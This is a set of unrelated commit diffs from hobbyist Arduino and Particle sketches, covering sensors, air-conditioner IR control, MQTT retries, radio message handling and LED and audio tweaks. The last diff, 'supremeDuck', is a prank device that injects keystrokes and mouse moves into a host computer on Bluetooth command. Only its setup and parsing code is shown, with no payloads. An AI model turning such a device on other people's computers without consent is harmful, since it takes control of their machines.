THDweeter 2.4: rough recalibration for humidity, better WiFi connection handling

--- Particle/THDweeter/src/THDweeter.ino
+++ Particle/THDweeter/src/THDweeter.ino
@@ -1,4 +1,4 @@
-/*************************************************************************
+/******************************************************************************
  * Project THDweeter
  * Description: temperature & umidity dweeter
  * Author: Giuseppe Lo Presti, glopresti@gmail.com
@@ -9,7 +9,8 @@
  * v2.1 - 07-05-2017: dropped LED, minor changes
  * v2.2 - 08-05-2017: added daily max and min reports, use Time
  * v2.3 - 06-06-2017: minor refactoring, added heat index, reduced logs
- *************************************************************************/
+ * v2.4 - 09-06-2017: rough calibration for humidity, better WiFi handling
+ ******************************************************************************/

 // This #include statement was automatically added by the Particle IDE.
 #include "HttpClient/HttpClient.h"
@@ -38,7 +39,7 @@

 void setup() {
   Time.zone(+2);     // set your time zone if you wish a local time display
- 	dht.begin();
+  dht.begin();
   pinMode(pushButtonPin, INPUT_PULLUP);  // input with an internal pull-up resistor
 }

@@ -55,11 +56,24 @@
     //Particle.publish("DEBUG", "Failed to read from DHT sensor!");
     return -1;
   }
-  // get the felt temperature only if relevant: humidity readings
-  // tend to be skewed towards excessively low values, and in that
-  // case the calculate heat index may become inaccurate
-  if(temp > 25 && hum > 25) {
-    hi = dht.getHeatIndex();
+  // apply a correction factor to the humidity reading, following
+  // experimental observations: the factor is 2 up to 30C and 2.2 at 40C
+  hum = hum * (2 + (temp > 30 ? (temp-30)/50 : 0));
+  // get the felt temperature only when it makes sense
+  if(temp >= 25 && hum >= 35) {
+    // this equation comes from the DHT library at:
+    // https://github.com/zackzachariah/hacknest/blob/master/sensor/Adafruit_DHT.cpp
+    float tempF = dht.getTempFarenheit();
+    hi = ((-42.379 +
+             2.04901523 * tempF +
+            10.14333127 * hum +
+            -0.22475541 * tempF * hum +
+            -0.00683783 * pow(tempF, 2) +
+            -0.05481717 * pow(hum, 2) +
+             0.00122874 * pow(tempF, 2) * hum +
+             0.00085282 * tempF * pow(hum, 2) +
+            -0.00000199 * pow(tempF, 2) * pow(hum, 2)
+          ) - 32) * 5/9;    // convert back to Celsius
   }
   else {
     hi = 0.0;
@@ -87,7 +101,7 @@
 }

-void readout(bool button) {
+int readout(bool button) {
   http_request_t request;
   http_response_t response;
   // wake up WiFi
@@ -97,7 +111,7 @@
   if(getAndStoreValues()) {
     // failed to read out, try again right away
     lastReadoutTime = 0;
-    return;
+    return -1;
   }
   // cast floats to strings
   String st(temp, 1);
@@ -120,8 +134,13 @@
   request.port = 80;
   request.path = "/dweet/for/" + thingName + "?" + payload;
   // make sure WiFi is ready
+  int i = 0;
   while(!WiFi.ready()) {
     delay(300);
+    if(++i == 100) {
+      // the WiFi did not connect for 30 seconds, give up
+      return -1;
+    }
   }
   if(button) {
     Particle.publish("Button triggered readout", payload);
@@ -131,6 +150,7 @@
   }
   http.get(request, response, headers);
   Particle.publish("Dweet", response.body);
+  return 0;
 }

@@ -148,7 +168,9 @@
       // we make the readings as evenly spread in time as possible
       lastReadoutTime = Time.now();
       readout(false);
-      // turn off WiFi to spare power
+      // yield to the Particle cloud
+      Particle.process();
+      // and turn off WiFi to spare power
       WiFi.off();
     }
   }


reset elapsed timer only when mode is switched but not during command resending

--- QmoteRHTlogger_w_Daikin/QmoteRHTlogger_w_Daikin.ino
+++ QmoteRHTlogger_w_Daikin/QmoteRHTlogger_w_Daikin.ino
@@ -23,7 +23,7 @@
 // for AltSoftSerial, TX/RX pins are hard coded: RX = digital pin 8, TX = digital pin 9 on Arduino Uno
 AltSoftSerial portOne;
 String recvLine = "";
-int resend = 0;
+int resend;

 // Daikin Control
 IRdaikin irdaikin;
@@ -147,7 +147,6 @@
   irdaikin.daikin_sendCommand();
   isOn = MODE_COOLING;
   resend++;
-  timeElapsed = 0;            // reset mode-switch timer

   // report this state change
   qmoteCmd = "ATBN=0x0A,\"cooling ON\"\r\n";      // using click combination code 0x0A, --..
@@ -175,7 +174,6 @@
   irdaikin.daikin_sendCommand();
   isOn = MODE_DEHUMIDIFIER;
   resend++;
-  timeElapsed = 0;            // reset mode-switch timer

   // report this state change
   qmoteCmd = "ATBN=0x0A,\"dehumidifier ON\"\r\n"; // using click combination code 0x0A, --..
@@ -203,7 +201,6 @@
   irdaikin.daikin_sendCommand();
   isOn = MODE_OFF;
   resend++;
-  timeElapsed = 0;            // reset mode-switch timer

   // report this state change
   qmoteCmd = "ATBN=0x0A,\"air cond OFF\"\r\n";    // using click combination code 0x0A, --..
@@ -361,7 +358,7 @@
     if(timeElaspedInMinutes >= KEEP_ONOFF_TIMER)
     {
       // Since there is no beep now (I took off the buzzer on the air conditioning set), resend the same command every KEEP_ONOFF_TIMER in case the previous IR is missed
-      resend = RESEND_ATTEMPS - 1;
+      resend = 0;

       // determine the air conditioning state
       if(isOn == MODE_OFF)
@@ -374,10 +371,12 @@
           if(((float) currentTemp) > ((float) TEMP_HIGH))
           {
             daikin_cooling_on();
+            timeElapsed = 0;  // reset mode-switch timer
           }
           else
           {
             daikin_dehumidifier_on();
+            timeElapsed = 0;  // reset mode-switch timer
           }
         }
       }
@@ -387,10 +386,12 @@
         if(((float) currentTemp) < ((float) TEMP_LOW) && currentRh <= RH_LOW)
         {
           daikin_all_off();
+          timeElapsed = 0;  // reset mode-switch timer
         }
         else if(((float) currentTemp) < ((float) TEMP_LOW) && currentRh > RH_LOW)
         {
           daikin_dehumidifier_on();
+          timeElapsed = 0;  // reset mode-switch timer
         }
       }
       else // MODE_DEHUMIDIFIER
@@ -400,11 +401,13 @@
            (((float) currentTemp) <= ((float) TEMP_TOO_LOW)))                           // humidifier goes too far, stop the air conditioning temperarily
         {
           daikin_all_off();
+          timeElapsed = 0;  // reset mode-switch timer
         }
         else if((((float) currentTemp) > ((float) TEMP_LOW) && currentRh < RH_LOW) ||   // humidity reaches low but temperature is higher than low
                 ((float) currentTemp > (float) TEMP_HIGH))                              // if high temp reached, switch to cooling
         {
           daikin_cooling_on();
+          timeElapsed = 0;  // reset mode-switch timer
         }
       }
     } // end if(timeElaspedInMinutes >= KEEP_ONOFF_TIMER)


fix documentation error

fix documentation error

--- sketches/EnerginoYun/EnerginoYun.ino
+++ sketches/EnerginoYun/EnerginoYun.ino
@@ -21,7 +21,7 @@
  *  #D<integer>, sets the sensitivity in mV of the current sensor [default is 185]
  *  #R, resest the configuration to the defaults
  *  #F<feed>, sets the feed id [default is 0]
- *  #K<key>, sets the Xively authentication key [default is foo]
+ *  #K<key>, sets the Xively authentication key [default is -]
  *  #U<url>, sets the Xively URL [default is https://api.xively.com/v2/feeds/]
  *
  * No updates are sent over the Ethernet interface if the feed id is set to 0


Added MQTT retry method

Added MQTT retry method

--- src/WiFiSensor/deepsleep.ino
+++ src/WiFiSensor/deepsleep.ino
@@ -2,7 +2,10 @@
   if (!configloaded) {
     loadconfig();
   }
-  int sleepinterval = 10; // seconds
+  int sleepinterval = 30; // seconds
+  bool mqttconnectsuccess = false;
+  bool mqtttimeout = false;
+  int mqttfailcount = 0;

   if ( !trySTAWiFi() ) {
     // STA Failed so load softAP
@@ -16,6 +19,18 @@
 		digitalWrite(GREENLED, LOW);
 		ESP.deepSleep(sleepinterval * 1000000);
 	}
+  }
+  //  Setup mqtt
+  if (setupMQTT() == 1){
+    // Ignore this outcome it hasn't done anything
+  } else {
+    // We have setupMQTT
+    if( mqttconnect() != 0 ){
+      // Haven't been able to connect :|
+      // Handle this exception. Probably reload?
+      Serial.println("Unable to connect to MQTT after reset");
+
+    }
   }
   dhtinit();
   dhtmeasure();
@@ -36,9 +51,26 @@

 	// We need to report to the MQTT Server
-	if (mqttconnect() != 0) {
-	  Serial.println("Unable to connect to MQTT Server");
-	} else {
+	while (!mqtttimeout) {
+	  if(mqttconnect() != 0){
+		  Serial.println("Unable to connect to MQTT Server " + mqttfailcount + " tries");
+		  delay(1000);
+	      mqttfailcount++;
+	  } else {
+		  Serial.println("MQTT Successfully Connected");
+		  mqtttimeout = true;
+		  mqttsuccess = true;
+	  }
+
+	  if(mqttfailcount >= 30 ){
+		  Serial.println("Giving up MQTT connection after "+ mqttfailcount + " tries" );
+		  mqtttimeout = true;
+	  }
+
+
+	}
+
+	if(mqttsuccess){
 	  // Connect to MQTT Server
 	  //client.connect(mqttclientname.c_str(), mqttusername.c_str(), mqttpassword.c_str() );
 	  //Following is original
@@ -60,6 +92,7 @@

+  Serial.println("Sleep for " + sleepinterval + "s");

   digitalWrite(REDLED, LOW);
   digitalWrite(GREENLED, LOW);


Re-enable mDNS as it seems to not break things anymore

--- Arduino_Sketch/HASwitchPlate/HASwitchPlate.ino
+++ Arduino_Sketch/HASwitchPlate/HASwitchPlate.ino
@@ -167,14 +167,14 @@

   if (mdnsEnabled)
   { // Setup mDNS service discovery if enabled
-    // hMDNSService = MDNS.addService(haspNode, "http", "tcp", 80);
-    // if (debugTelnetEnabled)
-    // {
-    //   MDNS.addService(haspNode, "telnet", "tcp", 23);
-    // }
-    // MDNS.addServiceTxt(hMDNSService, "app_name", "HASwitchPlate");
-    // MDNS.addServiceTxt(hMDNSService, "app_version", String(haspVersion).c_str());
-    // MDNS.update();
+    hMDNSService = MDNS.addService(haspNode, "http", "tcp", 80);
+    if (debugTelnetEnabled)
+    {
+      MDNS.addService(haspNode, "telnet", "tcp", 23);
+    }
+    MDNS.addServiceTxt(hMDNSService, "app_name", "HASwitchPlate");
+    MDNS.addServiceTxt(hMDNSService, "app_version", String(haspVersion).c_str());
+    MDNS.update();
   }

   if ((configPassword[0] != '\0') && (configUser[0] != '\0'))


Duration and speed are opposite

Duration and speed are opposite

--- esp_wifi_interface.ino
+++ esp_wifi_interface.ino
@@ -189,7 +189,7 @@
                     Serial.println("effect HSV fade");
                     break;
                   case 2:
-                    Serial.println("effect duration up");
+                    Serial.println("effect duration down");
                     break;
                   case 3:
                     Serial.println("effect brightness up");
@@ -201,7 +201,7 @@
                     Serial.println("effect random fade");
                     break;
                   case 6:
-                    Serial.println("effect duration down");
+                    Serial.println("effect duration up");
                     break;
                   case 7:
                     Serial.println("effect brightness down");


trying out AltSoftSerial code MASTER

trying out AltSoftSerial code MASTER

--- musicglove2/BluetoothMaster/BluetoothMaster.ino
+++ musicglove2/BluetoothMaster/BluetoothMaster.ino
@@ -1,4 +1,9 @@
 #include <Math.h>
+#include <AltSoftSerial.h>
+
+AltSoftSerial BTSerial;
+
+

 byte i2cWriteBuffer[10];
 byte i2cReadBuffer[10];
@@ -17,13 +22,28 @@
 //Arduino Bluetooth sketch for the master device
 //http://www.martyncurrey.com/arduino-to-arduino-by-bluetooth/

-#include <AltSoftSerial.h>
-AltSoftSerial BTSerial;
-
 // Change DEBUG to true to output debug information to the serial monitor
 boolean DEBUG = true;

 //int blackOrWhite; // black: 0, white: 1
+
+byte Readi2cRegisters(int numberbytes, byte command)
+{
+  byte i = 0;
+
+  Wire.beginTransmission(SensorAddressWrite);   // Write address of read to sensor
+  Wire.write(command);
+  Wire.endTransmission();
+
+  delayMicroseconds(100);      // allow some time for bus to settle
+
+  Wire.requestFrom(SensorAddressRead, numberbytes);  // read data
+  for (i = 0; i < numberbytes; i++)
+    i2cReadBuffer[i] = Wire.read();
+  Wire.endTransmission();
+
+  delayMicroseconds(100);      // allow some time for bus to settle
+}

 void init_TCS34725(void)
 {


fixec mistake

fixec mistake

--- arduino/libraries/ledtable/examples/cross/cross.ino
+++ arduino/libraries/ledtable/examples/cross/cross.ino
@@ -9,7 +9,7 @@
   ledtable.fill(color_black);
   for (int i = 0; i < ledtable.height(); i++) {
     ledtable.fill(i, i, color_blue);
-    ledtable.fill(ledtable.height - i - 1, i, color_green);
+    ledtable.fill(ledtable.height() - i - 1, i, color_green);
   }
   ledtable.show();
 }


Direct input for pwlf

Direct input for pwlf

--- examples/pwlf/pwlf.ino
+++ examples/pwlf/pwlf.ino
@@ -149,8 +149,10 @@

   AudioMemory(30);
   audioShield.enable();
-  audioShield.inputSelect(AUDIO_INPUT_MIC);
-  audioShield.micGain(50);
+  //audioShield.inputSelect(AUDIO_INPUT_MIC);
+  //audioShield.micGain(50);
+  audioShield.inputSelect(AUDIO_INPUT_LINEIN);
+  audioShield.lineInLevel(15);
   note.begin(.75);

   input = new AudioShieldInput(&peak, &note);


typo fix, thanks to NickCh1996@017fc0ce2131b700c40f92587bca345a1c373503

--- examples/Car/FullSerialControl/FullSerialControl.ino
+++ examples/Car/FullSerialControl/FullSerialControl.ino
@@ -5,7 +5,7 @@
 void setup() {
   Serial.begin(9600);
   Serial.setTimeout(200);
-  car.begin()
+  car.begin();
 }

 void loop() {


pas de modif

pas de modif

--- calibrateur.ino
+++ calibrateur.ino
@@ -55,7 +55,7 @@
 #define TEMPO_STAT 200 // tempo pour laisser le servo avancer lors des mesures
                        // statistique à la fin de la calibration ATTENTION 100ms semble etre trop court!!!!
 #define ADRESSE_EEPROM 42//position de leeprom ou la valeur de reglage de vitesse est stocké
-#define VITESSEMAXSERVO 2000 // vitesse max d'un servo en microsecond de PWM par seconde
+#define VITESSEMAXSERVO 4000 // vitesse max d'un servo en microsecond de PWM par seconde
 #define PINSERVO 5 // pin arduino ou est branché le servo

 //------------------------------------------------------------------------------


TODO-861: WIP

TODO-861: WIP

--- COHEAT2015/20160316-COHEAT-M1/COHEAT-M1/COHEAT-M1.ino
+++ COHEAT2015/20160316-COHEAT-M1/COHEAT-M1/COHEAT-M1.ino
@@ -182,6 +182,229 @@
   OTV0P2BASE::serialPrintlnAndFlush(F(" " __TIME__));
   }

+bool pollIO(const bool force)
+  {
+#ifdef ENABLE_RADIO_PRIMARY_MODULE
+  static volatile uint8_t _pO_lastPoll;
+  // Poll RX at most about every ~8ms.
+  const uint8_t sct = OTV0P2BASE::getSubCycleTime();
+  if(force || (sct != _pO_lastPoll))
+    {
+    _pO_lastPoll = sct;
+    // Poll for inbound frames.
+    // If RX is not interrupt-driven then
+    // there will usually be little time to do this
+    // before getting an RX overrun or dropped frame.
+    PrimaryRadio.poll();
+    }
+#endif
+  return(false);
+  }
+
+// Decode and handle inbound raw message (msg[-1] contains the count of bytes received).
+// A message may contain trailing garbage at the end; the decoder/router should cope.
+// The buffer may be reused when this returns,
+// so a copy should be taken of anything that needs to be retained.
+// If secure is true then this message arrived over an inherently secure channel.
+// This will write any output to the supplied Print object,
+// typically the Serial output (which must be running if so).
+// This routine is NOT allowed to alter in any way the content of the buffer passed.
+static void decodeAndHandleRawRXedMessage(Print *p, const bool secure, const uint8_t * const msg)
+  {
+  const uint8_t msglen = msg[-1];
+
+  // TODO: consider extracting hash of all message data (good/bad) and injecting into entropy pool.
+#if 0 && defined(DEBUG)
+  OTRadioLink::printRXMsg(p, msg-1, msglen+1); // Print len+frame.
+#endif
+
+  if(msglen < 2) { return; } // Too short to be useful, so ignore.
+
+//   // Length-first OpenTRV secureable-frame format...
+//#if defined(ENABLE_OTSECUREFRAME_ENCODING_SUPPORT) // && defined(ENABLE_FAST_FRAMED_CARRIER_SUPPORT)
+//  if(decodeAndHandleOTSecureableFrame(p, secure, msg)) { return; }
+//#endif // ENABLE_OTSECUREFRAME_ENCODING_SUPPORT
+
+  const uint8_t firstByte = msg[0];
+
+#ifdef ENABLE_FS20_ENCODING_SUPPORT
+  switch(firstByte)
+    {
+    default: // Reject unrecognised leading type byte.
+    case OTRadioLink::FTp2_NONE: // Reject zero-length with leading length byte.
+      break;
+
+#ifdef ALLOW_CC1_SUPPORT_HUB
+    // Handle alert message (at hub).
+    // Dump onto serial to be seen by the attached host.
+    case OTRadioLink::FTp2_CC1Alert:
+      {
+      OTProtocolCC::CC1Alert a;
+      a.OTProtocolCC::CC1Alert::decodeSimple(msg, msglen);
+      // After decode instance should be valid and with correct (source) house code.
+      if(a.isValid())
+        {
+        // Pass message to host to deal with as "! hc1 hc2" after prefix indicating relayed (CC1 alert) message.
+        p->print(F("+CC1 ! ")); p->print(a.getHC1()); p->print(' '); p->println(a.getHC2());
+        }
+      return;
+      }
+#endif
+
+#ifdef ALLOW_CC1_SUPPORT_HUB
+    // Handle poll-response message (at hub).
+    // Dump onto serial to be seen by the attached host.
+    case OTRadioLink::FTp2_CC1PollResponse:
+      {
+      OTProtocolCC::CC1PollResponse a;
+      a.OTProtocolCC::CC1PollResponse::decodeSimple(msg, msglen);
+      // After decode instance should be valid and with correct (source) house code.
+      if(a.isValid())
+        {
+        // Pass message to host to deal with as:
+        //     * hc1 hc2 rh tp tr al s w sy
+        // after prefix indicating relayed (CC1) message.
+        // (Parameters in same order as make() factory method, see below.)
+//   * House code (hc1, hc2) of valve controller that the poll/command is being sent to.
+//   * relative-humidity    [0,50] 0-100 in 2% steps (rh)
+//   * temperature-ds18b20  [0,199] 0.000-99.999C in 1/2 C steps, pipe temp (tp)
+//   * temperature-opentrv  [0,199] 0.000-49.999C in 1/4 C steps, room temp (tr)
+//   * ambient-light        [1,62] no units, dark to light (al)
+//   * switch               [false,true] activation toggle, helps async poll detect intermittent use (s)
+//   * window               [false,true] false=closed,true=open (w)
+//   * syncing              [false,true] if true, (re)syncing to FHT8V (sy)
+// Returns instance; check isValid().
+//            static CC1PollResponse make(uint8_t hc1, uint8_t hc2,
+//                                        uint8_t rh,
+//                                        uint8_t tp, uint8_t tr,
+//                                        uint8_t al,
+//                                        bool s, bool w, bool sy);
+        p->print(F("+CC1 * "));
+            p->print(a.getHC1()); p->print(' '); p->print(a.getHC2()); p->print(' ');
+            p->print(a.getRH()); p->print(' ');
+            p->print(a.getTP()); p->print(' '); p->print(a.getTR()); p->print(' ');
+            p->print(a.getAL()); p->print(' ');
+            p->print(a.getS()); p->print(' '); p->print(a.getW()); p->print(' ');
+               p->println(a.getSY());
+        }
+      return;
+      }
+#endif
+
+#ifdef ALLOW_CC1_SUPPORT_RELAY
+    // Handle poll/cmd message (at relay).
+    // IFF this message is addressed to this (target) unit's house code
+    // then action the commands and respond (quickly) with a poll response.
+    case OTRadioLink::FTp2_CC1PollAndCmd:
+      {
+      OTProtocolCC::CC1PollAndCommand c;
+      c.OTProtocolCC::CC1PollAndCommand::decodeSimple(msg, msglen);
+      // After decode instance should be valid and with correct house code.
+      if(c.isValid())
+        {
+//        p->print(F("+CC1 * ")); p->print(a.getHC1()); p->print(' '); p->println(a.getHC2());
+        // Process the message only if it is targetted at this node.
+        const uint8_t hc1 = FHT8VGetHC1();
+        const uint8_t hc2 = FHT8VGetHC2();
+        if((c.getHC1() == hc1) && (c.getHC2() == hc2))
+          {
+          // Act on the incoming command.
+          // Set LEDs.
+          setLEDsCO(c.getLC(), c.getLT(), c.getLF(), true);
+          // Set radiator valve position.
+          NominalRadValve.set(c.getRP());
+
+          // Respond to the hub with sensor data.
+          // Can use read() for very freshest values at risk of some delay/cost.
+#ifdef HUMIDITY_SENSOR_SUPPORT
+          const uint8_t rh = RelHumidity.read() >> 1; // Scale from [0,100] to [0,50] for TX.
+#else
+          const uint8_t rh = 0; // RH% not available.
+#endif
+          const uint8_t tp = (uint8_t) constrain(extDS18B20_0.read() >> 3, 0, 199); // Scale to to 1/2C [0,100[ for TX.
+          const uint8_t tr = (uint8_t) constrain(TemperatureC16.read() >> 2, 0, 199); // Scale from 1/16C to 1/4C [0,50[ for TX.
+          const uint8_t al = AmbLight.read() >> 2; // Scale from [0,255] to [1,62] for TX (allow value coercion at extremes).
+          const bool s = getSwitchToggleStateCO();
+          const bool w = (fastDigitalRead(BUTTON_LEARN2_L) != LOW); // BUTTON_LEARN2_L high means open circuit means door/window open.
+          const bool sy = !NominalRadValve.isInNormalRunState(); // Assume only non-normal FHT8V state is 'syncing'.
+          OTProtocolCC::CC1PollResponse r =
+              OTProtocolCC::CC1PollResponse::make(hc1, hc2, rh, tp, tr, al, s, w, sy);
+          // Send message back to hub.
+          // Hub can poll again if it does not see the response.
+          // TODO: may need to insert a delay to allow hub to be ready if use of read() above is not enough.
+          uint8_t txbuf[OTProtocolCC::CC1PollResponse::primary_frame_bytes+1]; // More than large enough for preamble + sync + alert message.
+          const uint8_t bodylen = r.encodeSimple(txbuf, sizeof(txbuf), true);
+#if 0 && defined(DEBUG)
+OTRadioLink::printRXMsg(p, txbuf, bodylen);
+#endif
+          if(PrimaryRadio.sendRaw(txbuf, bodylen)) // Send at default volume...  One going missing won't hurt that much.
+            {
+#if 1 && defined(DEBUG)
+            p->println(F("polled")); // Done it!
+#endif
+            }
+          }
+        }
+      return;
+      }
+#endif // ALLOW_CC1_SUPPORT_RELAY
+    }
+#endif // ENABLE_FS20_ENCODING_SUPPORT
+
+  // Unparseable frame: drop it; possibly log it as an error.
+#if 0 && defined(DEBUG) && !defined(ENABLE_TRIMMED_MEMORY)
+  p->print(F("!RX bad msg, len+prefix: ")); OTRadioLink::printRXMsg(p, msg-1, min(msglen+1, 8));
+#endif
+  return;
+  }
+
+// Incrementally process I/O and queued messages, including from the radio link.
+// This may mean printing them to Serial (which the passed Print object usually is),
+// or adjusting system parameters,
+// or relaying them elsewhere, for example.
+// This will write any output to the supplied Print object,
+// typically the Serial output (which must be running if so).
+// This will attempt to process messages in such a way
+// as to avoid internal overflows or other resource exhaustion,
+// which may mean deferring work at certain times
+// such as the end of minor cycle.
+// The Print object pointer must not be NULL.
+bool handleQueuedMessages(Print *p, bool wakeSerialIfNeeded, OTRadioLink::OTRadioLink *rl)
+  {
+  // Avoid starting any potentially-slow processing very late in the minor cycle.
+  // This is to reduce the risk of loop overruns
+  // at the risk of delaying some processing
+  // or even dropping some incoming messages if queues fill up.
+  // Decoding (and printing to serial) a secure 'O' frame takes ~60 ticks (~0.47s).
+  // Allow for up to 0.5s of such processing worst-case,
+  // ie don't start processing anything later that 0.5s before the minor cycle end.
+  const uint8_t sctStart = OTV0P2BASE::getSubCycleTime();
+  if(sctStart >= ((OTV0P2BASE::GSCT_MAX/4)*3)) { return(false); }
+
+  // Deal with any I/O that is queued.
+  bool workDone = pollIO(true);
+
+  // Check for activity on the radio link.
+  rl->poll();
+
+  bool neededWaking = false; // Set true once this routine wakes Serial.
+  const volatile uint8_t *pb;
+  if(NULL != (pb = rl->peekRXMsg()))
+    {
+    if(!neededWaking && wakeSerialIfNeeded && OTV0P2BASE::powerUpSerialIfDisabled<V0P2_UART_BAUD>()) { neededWaking = true; } // FIXME
+    // Don't currently regard anything arriving over the air as 'secure'.
+    // FIXME: shouldn't have to cast away volatile to process the message content.
+    decodeAndHandleRawRXedMessage(p, false, (const uint8_t *)pb);
+    rl->removeRXMsg();
+    // Note that some work has been done.
+    workDone = true;
+    }
+
+  // Turn off serial at end, if this routine woke it.
+  if(neededWaking) { OTV0P2BASE::flushSerialProductive(); OTV0P2BASE::powerDownSerial(); }
+
+  return(workDone);
+  }

@@ -496,13 +719,12 @@
   uint_fast8_t newTLSD;
   while(TIME_LSD == (newTLSD = OTV0P2BASE::getSecondsLT()))
     {
-// FIXME FIXME FIXME
-//    // Poll I/O and process message incrementally (in this otherwise idle time)
-//    // before sleep and on wakeup in case some IO needs further processing now,
-//    // eg work was accrued during the previous major slow/outer loop
-//    // or the in a previous orbit of this loop sleep or nap was terminated by an I/O interrupt.
-//    // Come back and have another go if work was done, until the next tick at most.
-//    if(handleQueuedMessages(&Serial, true, &PrimaryRadio)) { continue; }
+    // Poll I/O and process message incrementally (in this otherwise idle time)
+    // before sleep and on wakeup in case some IO needs further processing now,
+    // eg work was accrued during the previous major slow/outer loop
+    // or the in a previous orbit of this loop sleep or nap was terminated by an I/O interrupt.
+    // Come back and have another go if work was done, until the next tick at most.
+    if(handleQueuedMessages(&Serial, true, &PrimaryRadio)) { continue; }

     // Normal long minimal-power sleep until wake-up interrupt.
     // Rely on interrupt to force fall through to I/O poll() below.
@@ -511,15 +733,16 @@
   TIME_LSD = newTLSD;

-  }
-
-
-
-
-
-
-
-
-
-
-
+
+  }
+
+
+
+
+
+
+
+
+
+
+


Update supremeDuck.ino

Update supremeDuck.ino

--- source/supremeDuck.ino
+++ source/supremeDuck.ino
@@ -1,717 +1,583 @@
-/*
-supremeDuck project - prankingdevice.com - https://www.youtube.com/user/MichalMonday
-Created by Michal Borowski
-*/
-
-/*
-Communication characteristics:
-Android App -> Arduino (currently the communication is one sided - maybe some length checks could be added to prevent data loss in the air but it's not needed now I think)
-Protocol:
-MM - mouse movement
-PR
-
-*/
-
-#include <SoftwareSerial.h>
-#include "Keyboard.h"
-#include "Mouse.h"
-#include <EEPROM.h>
-
-#define LOG_SAVED_ENCODING_EEPROM false
-#define LOG_SERIAL false //setting to true makes mouse movement laggy if the serial monitor isn't open
-
-#define HC_BAUDRATE 9600 //(default baud rate of hc-06)
-
-/*
-#define EEPROM_ADDRESS_TRIGGER_TRICK 0
-trick = plug it in + plug out within 3 secs = special function is triggered(that special function is commented out in "setup" funciton)
-*/
-
-//add comma check in app or solve the bug (if data received by arduino ends with ",,end" instead of standard ",end" arduino won't respond)
-
-
-//https://www.arduino.cc/en/Reference/KeyboardModifiers
-
-//SoftwareSerial BTSerial(16, 15);
-SoftwareSerial BTSerial(9, 8); // RX | TX these are pins responsible for communication between the bluetooth module and arduino
-//SoftwareSerial BTSerial(8, 9); //old pinout (less comfortable to solder, now only 1 of these devices has it this way)
-
-#define MAX_SERIAL_LENGTH 200 //if you'd like to make it greater than 255 make sure to replace "byte" with "int" inside every "for loop"
-char inSerial[MAX_SERIAL_LENGTH]; //it will contain the text sent from bluetooth module and received in arduino
-
-#define ENCODING_BYTE_DESIRED 0
-#define ENCODING_BYTE_USED 1
-#define ENCODING_BYTE_MODIFIER 2
-byte Encoding[3][100] = { //definition only applies to new devices where encoding isn't saved at EEPROM yet. By default it's US keyboard encoding
-  {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E},
-  {0x31, 0x22, 0x33, 0x34, 0x35, 0x37, 0x22, 0x39, 0x30, 0x38, 0x3D, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3B, 0x3B, 0x2C, 0x3D, 0x2E, 0x2F, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x36, 0x2D, 0x7E, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x7E},
-  {0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81}
-}; //saved at EEPROM 1-100, 101-200, 201-300
-
-#define EEPROM_STARTING_ADDRESS_ENCODING_DESIRED 1
-#define EEPROM_STARTING_ADDRESS_ENCODING_USED 101
-#define EEPROM_STARTING_ADDRESS_ENCODING_MODIFIER 201
-
-void setup()
-{
-  BTSerial.begin(HC_BAUDRATE);  //
-  Keyboard.begin();
-  Mouse.begin();
-
-  Serial.begin(9600);
-
-
-  /*
-  //TRIGGER TRICK
-  //plug in and out within 3 sec to trigger some action at the next plug in
-  byte triggerDefault = 0;
-  EEPROM.get(EEPROM_ADDRESS_TRIGGER_TRICK, triggerDefault);
-  byte c =1;
-  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
-  if(triggerDefault == 1)
-  {
-    //action
-  }
-
-  delay(3000);
-  c =0;
-  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
-  */
-
-  /*
-  delay(7000);
-
-  for(byte i=0;i<255;i++)
-  {
-    Keyboard.print(i);
-    Keyboard.print("-");
-    Keyboard.print((char)i);
-    Keyboard.print(", ");
-
-    delay(100);
-  }
-  */
-
-  //delay(5000);
-  //Keyboard.press('\'');
-  //delay(15);
-  //Keyboard.releaseAll();
-
-  //delay(10000);
-  SavedEncodingAvailabilityCheck(); //rewrites the default US encoding with the saved one
-}
-
-
-void loop()
-{
-  byte i=0;
-  if (BTSerial.available() > 0)
-  {
-    unsigned long previousByteRec = millis();
-    unsigned long lastByteRec = millis();
-    while (100 > lastByteRec - previousByteRec)
-    {
-      lastByteRec = millis();
-
-      while (BTSerial.available() > 0 && i < MAX_SERIAL_LENGTH-1)
-      {
-        inSerial[i]=BTSerial.read();
-        i++;
-
-        if(i == 16)
-        {
-          if(StrStartsWith(inSerial, "MM:") && StrEndsWith(inSerial, ",end")){if(LOG_SERIAL){Serial.println(inSerial);} inSerial[i]='\0'; MyFuncMouseMove(inSerial);i = 0;}//MM:L,U,3,1,end (mouse movement)
-        }
-        previousByteRec = lastByteRec;
-      }
-    }
-
-    inSerial[i]='\0';
-    if(LOG_SERIAL){Serial.write(inSerial);} //it's useful for checking what text arduino receives from android but it makes the mouse movement laggy if the serial monitor is closed
-    Serial.write("\n");
-
-    Check_Protocol(inSerial);
-  }
-}
-
-void SavedEncodingAvailabilityCheck() //rewrites the default US encoding with the one which was used last time
-{
-  byte b;
-  EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_DESIRED, b);
